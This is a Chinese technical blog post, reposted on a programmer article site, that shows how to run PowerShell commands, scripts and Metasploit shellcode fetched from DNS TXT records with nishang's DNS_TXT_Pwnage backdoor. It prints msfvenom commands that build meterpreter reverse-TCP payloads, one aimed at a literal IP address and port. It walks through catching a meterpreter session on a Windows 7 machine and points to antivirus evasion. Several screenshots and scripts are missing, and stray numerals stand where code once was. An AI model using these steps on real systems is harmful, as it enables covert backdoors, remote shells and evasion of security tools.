欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

通过DNS TXT记录执行powershell

程序员文章站 2022-06-17 08:25:52
0x00简介 dns txt记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的txt记录是用来做spf记录(反垃圾邮件)。本...

0x00简介

dns txt记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的txt记录是用来做spf记录(反垃圾邮件)。本篇文章主要介绍如何使用 通过创建txt记录执行powershell脚本。当然,首先你要有一个域名。

0x01创建txt记录

这里需要使用nishang中的一个脚本 out-dnstxt

1.常见命令

因为常见命令比较短,所以可以直接添加到txt记录中,如下图:

通过DNS TXT记录执行powershell

现在查看一下txt记录:

通过DNS TXT记录执行powershell

可以看到记录已经成功添加了。

2.脚本

由于txt记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个txt记录。下面是一个例子,自己写了一个psh脚本:

使用out-dnstxt进行转换:

由于这个脚本比较小,所以只生产两行:

通过DNS TXT记录执行powershell

可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图:

通过DNS TXT记录执行powershell

查看txt,可以看到内容都已经添加好了:

通过DNS TXT记录执行powershell

0x02 执行powershell

添加完了txt记录以后,通过 dns_txt_pwnage.ps1 来执行这些脚本。

dns_txt_pwnage.ps1 是一个通过dns txt来接收命令或者脚本的一个后门脚本

这里还需要添加两条记录,strat与stop,具体如下图:

通过DNS TXT记录执行powershell

1.执行命令

解释一下参数:

startdomain 为创建的 start.domain ,返回一个字符串; cmdstring 为任意输入的字符串; commanddomain 为创建的执行命令txt记录的域名; psstring 为任意输入的字符串; psdomain 为创建的执行脚本txt记录的域名或子域名 ; subdomains 为执行脚本创建txt记录的个数(如1.2中创建的脚本,该值为2); stopstring 为任意输入的字符串。

此处比较重要的参数为 startdomain ,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行 commanddomain 即命令,与psstring相等则执行 psdomain 即脚本。

上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图:

通过DNS TXT记录执行powershell

我们可以通过修改command.domain的txt值来执行不同的命令。比如get-host:

通过DNS TXT记录执行powershell

2.执行脚本

这里要注意,psstring的值为start,与start.domain的txt记录相同,cmdstring为任意字符串。效果如下图:

通过DNS TXT记录执行powershell

这里多一个参数 arguments ,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。

0x03 执行shellcode

可以通过txt记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell lhost=x.x.x.x lport=8887 > pspayload.txt

使用out-dnstxt对生成的文件进行转换:

然后将以上记录分别添加到txt记录中,如下图:

通过DNS TXT记录执行powershell

测试使用的32位win7系统,使用msf开启监听:

我们还需要一个获取txt记录并执行的脚本,这里我改了一个脚本:

参数说明, shelldomain 为创建txt记录的域名或子域名; subdomains 为创建txt域名的个数,如上面所创建的为3; authns 为域的权威名称服务器,如我使用的狗爹,所以authns为f1g1ns2.dnspod.net

在32位win7上执行:

ps c:/users/evi1cg/desktop> . ./execute-code.ps1

成功获取meterpreter会话:

通过DNS TXT记录执行powershell

64位的请自行修改payload及脚本。

0x04 补充

metasploit中已经含有此脚本 ,此脚本查询txt记录的顺序为a.domain,b.domain…,下面是一个示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=103.238.225.222 lport=8887 -e x86/alpha_mixed bufferregister=edi -f raw > reverse.txt

使用下面的脚本对该文件进行切割:

0

输出如下:

通过DNS TXT记录执行powershell

将这三行分别添加到a.domain,b.domain,c.domain的txt记录中:

通过DNS TXT记录执行powershell

生成exe:

1

msf开启监听:

2

运行exe,获得meterpreter:

通过DNS TXT记录执行powershell

至于免杀,可以直接生成c格式的shellcode,然后按照 来做。

0x05 小结

本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。

相关标签: powershell